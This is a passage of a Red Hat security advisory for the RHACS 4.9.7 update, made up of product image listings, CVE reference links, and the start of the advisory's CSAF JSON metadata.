| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le | — |
Workaround
|
Threats
Impact
Important
References
125 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:20938 | self |
| https://access.redhat.com/security/cve/CVE-2025-62718 | external |
| https://access.redhat.com/security/cve/CVE-2026-32281 | external |
| https://access.redhat.com/security/cve/CVE-2026-40175 | external |
| https://access.redhat.com/security/cve/CVE-2026-40895 | external |
| https://access.redhat.com/security/cve/CVE-2026-42033 | external |
| https://access.redhat.com/security/cve/CVE-2026-42035 | external |
| https://access.redhat.com/security/cve/CVE-2026-42039 | external |
| https://access.redhat.com/security/cve/CVE-2026-42041 | external |
| https://access.redhat.com/security/cve/CVE-2026-42043 | external |
| https://access.redhat.com/security/cve/CVE-2026-42044 | external |
| https://access.redhat.com/security/cve/CVE-2026-42264 | external |
| https://access.redhat.com/security/cve/CVE-2026-44486 | external |
| https://access.redhat.com/security/cve/CVE-2026-44487 | external |
| https://access.redhat.com/security/cve/CVE-2026-44488 | external |
| https://access.redhat.com/security/cve/CVE-2026-44492 | external |
| https://access.redhat.com/security/cve/CVE-2026-44494 | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | external |
| https://access.redhat.com/security/cve/CVE-2026-44496 | external |
| https://access.redhat.com/security/updates/classi… | external |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2025-62718 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2456913 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-62718 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-62718 | external |
| https://datatracker.ietf.org/doc/html/rfc1034#sec… | external |
| https://datatracker.ietf.org/doc/html/rfc3986#sec… | external |
| https://github.com/axios/axios/commit/fb3befb6daa… | external |
| https://github.com/axios/axios/pull/10661 | external |
| https://github.com/axios/axios/releases/tag/v1.15.0 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-32281 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2456333 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-32281 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-32281 | external |
| https://go.dev/cl/758061 | external |
| https://go.dev/issue/78281 | external |
| https://groups.google.com/g/golang-announce/c/0uY… | external |
| https://pkg.go.dev/vuln/GO-2026-4946 | external |
| https://access.redhat.com/security/cve/CVE-2026-40175 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2457432 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-40175 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-40175 | external |
| https://github.com/axios/axios/commit/363185461b9… | external |
| https://github.com/axios/axios/pull/10660 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-40895 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2460297 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-40895 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-40895 | external |
| https://github.com/follow-redirects/follow-redire… | external |
| https://access.redhat.com/security/cve/CVE-2026-42033 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461607 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42033 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42033 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42035 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461606 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42035 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42035 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42039 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461630 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42039 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42039 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42041 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461629 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42041 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42041 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42043 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461626 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42043 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42043 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42044 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461624 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42044 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42044 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42264 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2467927 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42264 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42264 | external |
| https://github.com/axios/axios/commit/47915144662… | external |
| https://github.com/axios/axios/pull/10779 | external |
| https://github.com/axios/axios/releases/tag/v1.15.2 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44486 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487947 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44486 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44486 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44487 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487948 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44487 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44487 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44488 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487949 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44488 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44488 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44492 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487938 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44492 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44492 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44494 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487942 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44494 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44494 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487937 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44495 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44495 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44496 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487943 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44496 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44496 | external |
| https://github.com/axios/axios/security/advisorie… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Updated images are now available for Red Hat Advanced Cluster Security\n(RHACS), which typically include new features, bug fixes, and/or\nsecurity patches.",
"title": "Topic"
},
{
"category": "general",
"text": "See the release notes (link in the references section) for a\ndescription of the fixes and enhancements in this particular release.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:20938",
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2025-62718",
"url": "https://access.redhat.com/security/cve/CVE-2025-62718"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-32281",
"url": "https://access.redhat.com/security/cve/CVE-2026-32281"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-40175",
"url": "https://access.redhat.com/security/cve/CVE-2026-40175"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-40895",
"url": "https://access.redhat.com/security/cve/CVE-2026-40895"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42033",
"url": "https://access.redhat.com/security/cve/CVE-2026-42033"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42035",
"url": "https://access.redhat.com/security/cve/CVE-2026-42035"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42039",
"url": "https://access.redhat.com/security/cve/CVE-2026-42039"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42041",
"url": "https://access.redhat.com/security/cve/CVE-2026-42041"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42043",
"url": "https://access.redhat.com/security/cve/CVE-2026-42043"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42044",
"url": "https://access.redhat.com/security/cve/CVE-2026-42044"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42264",
"url": "https://access.redhat.com/security/cve/CVE-2026-42264"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44486",
"url": "https://access.redhat.com/security/cve/CVE-2026-44486"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44487",
"url": "https://access.redhat.com/security/cve/CVE-2026-44487"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44488",
"url": "https://access.redhat.com/security/cve/CVE-2026-44488"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44492",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44494",
"url": "https://access.redhat.com/security/cve/CVE-2026-44494"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44495",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44496",
"url": "https://access.redhat.com/security/cve/CVE-2026-44496"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_advanced_cluster_security_for_kubernetes/4.9/html-single/release_notes/index#about-this-release-497_release-notes-49",
"url": "https://docs.redhat.com/en/documentation/red_hat_advanced_cluster_security_for_kubernetes/4.9/html-single/release_notes/index#about-this-release-497_release-notes-49"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_20938.json"
}
],
"title": "Red Hat Security Advisory: RHACS 4.9.7 security and bug fix update",
"tracking": {
"current_release_date": "2026-07-30T19:26:55+00:00",
"generator": {
"date": "2026-07-30T19:26:55+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.8"
}
},
"id": "RHSA-2026:20938",
"initial_release_date": "2026-05-26T14:29:00+00:00",
"revision_history": [
{
"date": "2026-05-26T14:29:00+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-07-25T05:39:32+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-07-30T19:26:55+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product": {
"name": "Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_id": "Red Hat Advanced Cluster Security for Kubernetes 4.9",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:advanced_cluster_security:4.9::el8"
}
}
}
],
"category": "product_family",
"name": "Red Hat Advanced Cluster Security for Kubernetes"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-central-db-rhel8@sha256%3A35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-collector-rhel8@sha256%3A5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8\u0026tag=1778780285"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-main-rhel8@sha256%3A95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-rhel8-operator@sha256%3A3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-operator-bundle@sha256%3A57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-roxctl-rhel8@sha256%3A5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-rhel8@sha256%3Afa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-rhel8@sha256%3Ac0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-slim-rhel8@sha256%3A288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"product_identification_helper": {
